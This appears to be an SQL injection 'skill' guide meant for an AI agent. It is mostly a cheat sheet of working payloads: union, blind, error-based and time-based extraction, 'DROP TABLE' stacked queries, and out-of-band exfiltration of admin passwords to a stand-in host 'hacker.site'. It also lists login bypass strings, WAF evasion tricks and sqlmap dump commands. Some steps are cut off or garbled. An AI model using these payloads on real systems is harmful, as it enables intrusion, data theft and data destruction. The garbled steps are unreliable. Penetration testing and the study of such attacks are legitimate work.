SQL Injection Testing Guide

A comprehensive guide for detecting and exploiting SQL injection vulnerabilities during security assessments.

When to Use This Skill

Use this skill when:

• Testing web applications for SQL injection vulnerabilities
• Analyzing unusual database query behavior
• Performing authentication bypass testing
• Bypassing WAFs during security assessments
• Extracting database information through injection
• Converting between hex/decimal for payload crafting
• Any security testing involving database query manipulation

Detection Methodology

Step 1: Entry Point Detection

Start by testing common injection points with these payloads to escape the current context:

' " ` ') ") `) )) ")) `))

Look for:

• Database errors in responses
• Different page content between valid/invalid queries
• Timing differences in response

Step 2: Confirm with Logical Operations

Test with these payloads to confirm SQLi:

?param=value' or '1'='1
?param=value" or "1"="1
?param=value and 1=1
?param=value and 1=2

If

1=1

1=2

Step 3: Confirm with Timing (Blind SQLi)

For blind SQLi where you can't see output changes:

MySQL:

1' and sleep(10)--
1' and benchmark(10000000,sha1('test'))--

PostgreSQL:

1' || pg_sleep(10)--

MSSQL:

1' WAITFOR DELAY '0:0:10'--

Oracle:

1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)--

Step 4: Identify Backend Database

Use these queries to identify the database type:

conv('a',16,2)=conv('a',16,2)

@@CONNECTIONS>0

ROWNUM=ROWNUM

5::int=5

sqlite_version()=sqlite_version()

Exploitation Techniques

Union-Based Injection

1. Find column count:

Use ORDER BY to find the number of columns:

1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--
# Stop when you get an error

2. Extract database information:

-- Get all database names
-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--

-- Get tables from a database
-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='database_name'--

-- Get columns from a table
-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='table_name'--

Blind SQL Injection

Extract data character by character:

?id=1 AND SUBSTR(table_name,1,1)='a'--
?id=1 AND SUBSTR(table_name,1,1)='b'--
# Continue for each character

Error-Based Injection

Force errors to exfiltrate data:

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Time-Based SQL Injection

Use timing to extract data:

1 and (select sleep(10) from users where SUBSTR(password,1,1)='a')--

Stacked Queries

Execute multiple queries (MySQL, MSSQL, PostgreSQL only - NOT Oracle):

1'; DROP TABLE users;--
1'; SELECT * FROM users;--

Out-of-Band Exfiltration

Exfiltrate data to external hosts:

-- DNS exfiltration
select load_file(concat('\\',version(),'.hacker.site\a.txt'));

-- XXE-based exfiltration (Oracle)
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='admin')||'.hacker.site/"> %remote;]>'),'/l') FROM dual--

Authentication Bypass

Common Login Bypass Payloads

admin'--
admin'/*
admin'#
' or '1'='1
' or 1=1--
admin' or '1'='1'--
admin' or 1=1#--

Hash-Based Bypass

For MD5 raw output vulnerabilities:

md5("ffifdyop", true) = 'or'6... (raw bytes)
sha1("3fDf ", true) = Q... (raw bytes)

GBK Encoding Bypass

When single quotes are escaped:

%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' or 1=1 --

SQL Truncation Attack

Create user

admin[25 spaces]a

admin

username=admin[25 spaces]a
password=your_password

WAF Bypass Techniques

No Spaces Bypass

Use whitespace alternatives:

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Use comments:

?id=1/*comment*/and/**/1=1/**/--

Use parentheses:

?id=(1)and(1)=(1)--

No Commas Bypass

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Case Variation

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Operator Substitution

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE, REGEXP, RLIKE
WHERE -> HAVING

Scientific Notation Bypass

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Safety and Ethics

Important: Only use these techniques on systems you have explicit authorization to test. Unauthorized SQL injection testing is illegal and unethical.

Tools

• sqlmap: Automated SQL injection tool

  sqlmap -u "http://target.com/page?id=1" --dbs
  sqlmap -u "http://target.com/page?id=1" --current-user --current-db
  sqlmap -u "http://target.com/page?id=1" --tables --dump
  

• Atlas: WAF bypass suggester

References

• PayloadsAllTheThings - SQL Injection
• PortSwigger SQL Injection Cheat Sheet
• SQLWiki
• Auto Wordlists - SQLi